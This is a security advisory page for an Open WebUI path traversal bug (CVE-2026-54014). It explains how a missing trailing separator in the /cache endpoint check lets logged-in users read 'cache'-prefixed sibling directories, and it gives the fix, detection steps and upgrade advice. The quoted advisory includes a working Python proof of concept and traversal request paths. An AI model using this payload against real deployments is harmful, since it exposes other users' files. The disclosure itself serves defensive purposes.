NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Open WebUI

CVE-2026-54014: Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}

mediumCVSS 3.1 4.3GHSA-j2c8-v969-8r5c

Open WebUI's /cache/{path} endpoint checks containment with a string prefix that lacks a trailing separator. Any logged-in user can read files from a sibling directory whose name starts with "cache", such as cache_backup, next to the data directory's cache folder. Open WebUI 0.9.5 and earlier is affected. Upgrade to 0.9.6.

Published Jun 17, 2026 · Updated Jul 20, 2026 · Analysis Oct 26, 2026

What an attacker can do

serve_cache_file() in open_webui/main.py resolves the requested path against CACHE_DIR and tests file_path.startswith(os.path.abspath(CACHE_DIR)). With CACHE_DIR at /data/cache, the path ../cache_sibling/secret.txt resolves to /data/cache_sibling/secret.txt, which still starts with /data/cache, so the check passes and the file is served.

The scope is narrow. Only sibling directories whose names begin with cache are reachable, for example cache_backup or cached_models. Deep traversal such as ../../etc/passwd and absolute paths fail the check, as the reporter's proof of concept shows. The attacker needs a login with role user or admin. Browsers and httpx normalize .., so the request must be sent as raw HTTP.

If no such sibling directory exists, there is nothing to read. Where one holds backups, exports or model files, they become readable to any user. The CVSS score is 4.3, with low confidentiality impact.

Who is affected

The open-webui pip package, version 0.9.5 and earlier. Real exposure requires a sibling directory of the cache directory whose name begins with cache, inside the same parent. Check:

pip show open-webui

Then list the parent of your Open WebUI cache directory (the data directory by default) and look for names such as cache_* or cached*.

open-webui

Ecosystem
PyPI
Affected
<= 0.9.5
Fixed in
0.9.6
Check
pip show open-webui

How to fix it

Upgrade to Open WebUI 0.9.6:

pip install --upgrade open-webui==0.9.6

The suggested fix is one change: compare against os.path.abspath(CACHE_DIR) + os.sep. The advisory lists no workaround. Until you upgrade, rename or move any directories next to the cache directory whose names start with cache.

How to tell if you were hit

Search reverse-proxy and application logs for /cache/ requests containing .. after the prefix, such as /cache/../cache_. Normal clients never send these, so any hit is worth a look. Compare the files served against the contents of any cache* sibling directories.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.

Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.

Exploitation constraints

| Constraint | Detail |
| Auth required | `get_verified_user` — any user with role `user` or `admin` |
| Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) |
| Deep traversal | Blocked — `../../etc/passwd` correctly fails the startswith check |
| Absolute paths | Blocked — `/etc/passwd` correctly fails |
| Client normalization | httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload |

Vulnerability Details

Vulnerable function: serve_cache_file()

# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
    # prevent path traversal
    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail='File not found')
    if not os.path.isfile(file_path):
        raise HTTPException(status_code=404, detail='File not found')
    return FileResponse(file_path, headers=headers)

The bypass

CACHE_DIR = "/data/cache"

# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"

"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True  ← BYPASS (because "cache_sibling" starts with "cache")

# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False  ← BLOCKED

Proof of Concept

Environment

| Component | Detail |
| open-webui | 0.9.5 (pip installed) |
| Python | 3.11 |
| Import | `from open_webui.main import app` (true import, real FastAPI app) |
| Method | Raw ASGI request (bypasses httpx client-side `..` normalization) |

poc.py


import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
    f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
    f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
    id = "poc"
    email = "poc@test"
    role = "user"

app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
    """Send a raw ASGI request without client-side path normalization."""
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    response_started = False
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal response_started, status_code
        if message["type"] == "http.response.start":
            response_started = True
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
    s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
    s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")

    baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
    deep_blocked = s3 == 404

    print(f"package:     open_webui (pip installed)")
    print(f"version:     0.9.5")
    print(f"function:    serve_cache_file (GET /cache/{{path}})")
    print(f"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))")
    print(f"bypass:      startswith without trailing os.sep allows sibling-prefix match")
    print()
    print(f"CACHE_DIR:   {CACHE_DIR}")
    print(f"SIBLING:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}")
    print(f"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /cache/../../etc/passwd     status={s3} (should be 404)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DATA, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

PoC output

Suggested Fix

if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
    raise HTTPException(status_code=404, detail='File not found')

Single character fix: append os.sep to the prefix in the startswith check.

Credited to AAtomical, Classic298.

Questions

Can this read /etc/passwd or other system files?

No. The reporter confirmed deep traversal such as ../../etc/passwd and absolute paths are blocked. Only sibling directories whose names start with cache are reachable.

Does the attacker need to be logged in?

Yes. The route requires get_verified_user, so any account with role user or admin works. There is no unauthenticated path.

Which version fixes CVE-2026-54014?

Open WebUI 0.9.6. Versions up to and including 0.9.5 are affected.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Open WebUI vulnerabilities

All Open WebUI entries